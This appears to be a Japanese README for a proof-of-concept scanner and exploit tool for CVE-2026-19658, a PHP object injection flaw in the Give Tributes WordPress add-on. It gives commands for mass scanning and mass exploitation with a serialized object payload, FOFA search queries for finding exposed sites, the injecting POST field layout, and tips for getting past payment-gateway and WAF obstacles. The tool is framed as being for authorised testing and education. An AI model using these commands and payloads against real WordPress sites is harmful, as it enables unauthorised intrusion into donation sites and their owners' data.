CVE-2026-19658 — Give Tributes 未認証 PHP オブジェクトインジェクション

WordPress アドオン Give - Tributes (Liquid Web / GiveWP) における CVE-2026-19658 の Python 3 による概念実証 スキャナーおよび寄付チェーンエクスプロイトヘルパー。

概要

eCard で Allow Multiple Recipients が有効化されており、かつ eCard custom message が無効化されている (デフォルト) 場合、脆弱なバージョンでは 生の $_POST eCard 受信者データが寄付メタに保存されます。GiveWP のフィールド検証は $_POST の give_clean() コピーを使用します (シリアライズされた文字列はそこで空白化されます) が、insert_tribute_data() は サニタイズされていない $_POST を読み取るため、2 番目の受信者の first_name / last_name に PHP シリアライズオブジェクトを含めることができます。

影響: Give Tributes 単体では既知の POP チェーンはありません。メタは読み取り時 (例: 管理者による eCard プレビュー/再送信) にデシリアライズされます。RCE または破壊的な影響 には、別の インストール済みプラグインまたはテーマからのガジェットチェーンが必要です。

サーバー側の前提条件

1. Give Tributes ≤ 2.3.1
2. Allow Multiple Recipients が有効 (グローバルまたはフォーム単位)
3. eCard Custom Message が無効 (デフォルト)
4. 公開された レガシー Give フォーム ([give_form] / v2)、v3 専用の Visual Form Builder ではない
5. テストで寄付を完了できる決済ゲートウェイ (開発/ステージングでは多くの場合 manual)

要件

• Python 3.8+
• pip install -r requirements.txt

クイックスタート

pip install -r requirements.txt

# 単一ターゲット — チェック (--list ではデフォルトでターミナルフローが有効)
python poc.py -u https://target.example --mode check

# 一括チェック
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# 単一ターゲット — エクスプロイト (許可されたターゲットのみ)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# チェック出力からの一括エクスプロイト
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → ターゲットリスト

例:

body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

ホストリスト (1 行に 1 ドメイン):

python poc.py --list my_hosts.txt --mode check --threads 20 --flow

FOFA CSV エクスポート:

python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

CLI オプション

エクスプロイト実行時は --vuln-list exploited.txt を使用して、hits.txt 内のチェックヒットが上書きされないようにしてください。

出力ファイル

チェックの status 値

リモートスキャンでは「Allow Multiple Recipients」を確実に確認することは できません。候補はエクスプロイト時に失敗する可能性があります。

エクスプロイトの注意点

• PoC は 2 つ の eCard 受信者を送信します。ペイロードは 2 番目 の first_name フィールドです。
• manual ゲートウェイ は本番環境では無効化されていることが多いため、フォーム上で表示されるゲートウェイ (stripe、paypal、test、…) を試してください。
• 成功には Give のレシートマーカー が必要です (「thank you」を含む一般的なページコピーではない)。フォームがまだ存在する同じ URL は 成功としてカウントされません。
• give validation rejected donation: tribute/notify オプション、金額、またはゲートウェイの不一致。
• HTTP 403: POST をブロックする WAF (Sucuri、MalCare など)。
• v3 専用フォーム: レガシーフォームの URL を使用するかスキップしてください (プロセッサはレガシーエンドポイントで v3 ID を拒否します)。

POST の形式 (レガシーフォーム)

give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

リポジトリ構成

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

ローカルスキャンリストと実行成果物 (list.txt、fofa*.csv、*.jsonl、hits.txt、…) は .gitignore に含まれており、コミットしないでください。

参考資料

• NVD — CVE-2026-19658
• Give Tributes readme (修正ノート 2.3.1.1)
• GiveWP プラグイン

法的注意

許可されたセキュリティテストおよび教育 のみを目的としています。適用される法律およびプログラム規則の遵守はあなたの責任です。